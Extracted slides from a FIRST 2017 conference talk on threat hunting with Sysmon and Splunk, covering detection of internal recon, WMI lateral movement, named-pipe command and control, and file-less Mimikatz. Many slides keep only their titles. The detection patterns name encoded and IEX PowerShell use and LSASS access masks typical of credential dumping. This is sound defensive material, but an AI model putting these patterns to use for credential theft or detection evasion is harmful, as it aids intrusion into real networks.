FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 68

Detecting Persistence (Filesystem)

Example for «FileCreate»

Less than 400 results in > 2 months

after tuning exclusion list

Page 69: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 69

Detecting Persistence (Filesystem)

Page 70: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 70

Detecting Persistence (Filesystem)

Page 71: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Internal Recon used as preparation for Lateral Movement

Legit system commands used

Can also be used by sysadmins or users

Baseline and find appropriate thresholds

– Number of different commands and time window

Seite 71

Detecting Internal Recon

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Page 72: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 72

Detecting Internal Recon

Page 73: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 73

Detecting Internal Recon

Page 74: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 74

Detecting Internal Recon

Page 75: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 75

Detecting Internal Recon

Page 76: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 76

Detecting Internal Recon

Page 77: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 77

Detecting Internal Recon

3 or more (of 7) different commands executed within 15 min

Page 78: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 78

Detecting Internal Recon

15 occurences6 diff cmds

within 15 mins

Page 79: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 79

Detecting Internal Recon

3 diff cmdswithin 3 mins

«False detections» are possible

Explorer -> cmd.exe

Page 80: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Lateral Movement using WMI for Execution

Seite 80

Lateral Movement

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Page 81: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 81

ATT&CK TTP on WMI

Page 82: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 82

Who’s (ab-)using WMI

Point 1

Page 83: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 83

Who’s (ab-)using WMI

Page 84: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 84

Who’s (ab-)using WMI

Page 85: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 85

Who’s (ab-)using WMI

Page 86: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 86

Who’s (ab-)using WMI

Page 87: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 87

Who’s (ab-)using WMI

Page 88: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 88

Testing with WMImplant

Testing «command_exec» using WMImplant with PS-ISE

Page 89: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 89

Testing with WMImplant

Testing «process_start» using WMImplant with Beacon

Page 90: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 90

Detecting WMI spawned proc’s

Point 1

Page 91: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 91

Detecting WMI spawned proc’s

Point 1

Page 92: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 92

Detecting WMI spawned proc’s

Searching for Child-Process creations of «wmiprvse.exe»

Filtering out «known good» processes

Don’t filter out «Powershell.exe» in general

Combine with «CommandLine» params

Page 93: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 93

Detecting WMI spawned proc’s

Command executions («powershell *$env:*» and IEX, obfusc.)

Processes started (calc.exe, notepad.exe …)

Page 94: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 94

Detecting WMI spawned proc’s

Also detecting CS Beacons WMI Lateral Movement method

«powershell.exe … -encodedcommand …»

Page 95: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Internal Peer-to-Peer C&C using Named Pipes over SMB

Using Cobalt Strike Beacon’s features for testing

Seite 95

Internal P2P C2 using Named Pipes

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Page 96: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 96

Cobalt Strike Features

SMB trafficbetween WS

Only one egress pointusing HTTP as C&C

Conn thru web proxy

SMB trafficbetween WS

Named Pipes C&C

Page 97: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 97

Detecting C2 usingNamed Pipes

Search for Processes

Connecting through Web Proxy and

Creating Named Pipes

Page 98: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 98

Detecting C2 usingNamed Pipes

Page 99: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 99

Detecting C2 usingNamed Pipes

Page 100: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 100

Detecting C2 usingNamed Pipes

Search for Processes creating «known malicious» Named Pipes

with or without «default PipeNames»

Page 101: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 101

Detecting C2 usingNamed Pipes

Searching for «custom PipeNames» only

Page 102: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 102

Detecting C2 usingNamed Pipes

Searching for «default & custom PipeNames»

Page 103: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 103

Detecting C2 usingNamed Pipes

Searching for «default & custom PipeNames»

Page 104: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Detecting ProcessAccess on LSASS.exe

Idea by Mark Russinovich (RSA talk)

Seite 104

Detecting Mimikatz (even file-less)

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Page 105: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 105

Detecting Mimikatz

Point 1

Page 106: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 106

Detecting Mimikatz

Point 1

Page 107: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 107

Detecting Mimikatz

Point 1

Page 108: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 108

Detecting Mimikatz

Search for ProcessAccess of LSASS.exe

GrantedAccess of: 0x1010, 0x1410, 0x143A

CallTrace: KERNELBASE.dll and (ntdll.dll or UNKNOWN)

Page 109: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 109

Detecting Mimikatz

Mimikatz executable from Github

File-based No «UNKNOWN» from shellcode / injection

Page 110: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 110

Detecting Mimikatz

Cobalt Strike Beacon’s built-in Mimikatz «logonpasswords»

File-less «UNKNOWN» from shellcode / injection

Page 111: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 111

Detecting Mimikatz

Invoke-Mimikatz using PowerPick from Cobalt Strike’s Beacon

File-less «UNKNOWN» from shellcode / injection

Page 112: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 112

Detecting Mimikatz

Don’t search for specific SourceImage names

e.g. Rundll32.exe -- it could be really anything! (even cmd.exe )

Page 113: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 113

Detecting Mimikatz (OpenProcess)

Page 114: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 114

Detecting Mimikatz (OpenProcess)

Page 115: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 115

I have some questions…

Please stand up…

Sit down if you…

didn’t learn anything new (resources, examples)

detect internal C&C using Named Pipes over SMB

detect in-memory / file-less Mimikatz on (all of) your hosts

Bonus: all versions of Mimikatz?

Everyone sitting now I would like to have a chat

Page 116: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 116

Do you have questions?

Is there time left for Q&A?

Page 117: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Thank you for your attention!

Tom Ueltschi, Swiss Post CERT

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 117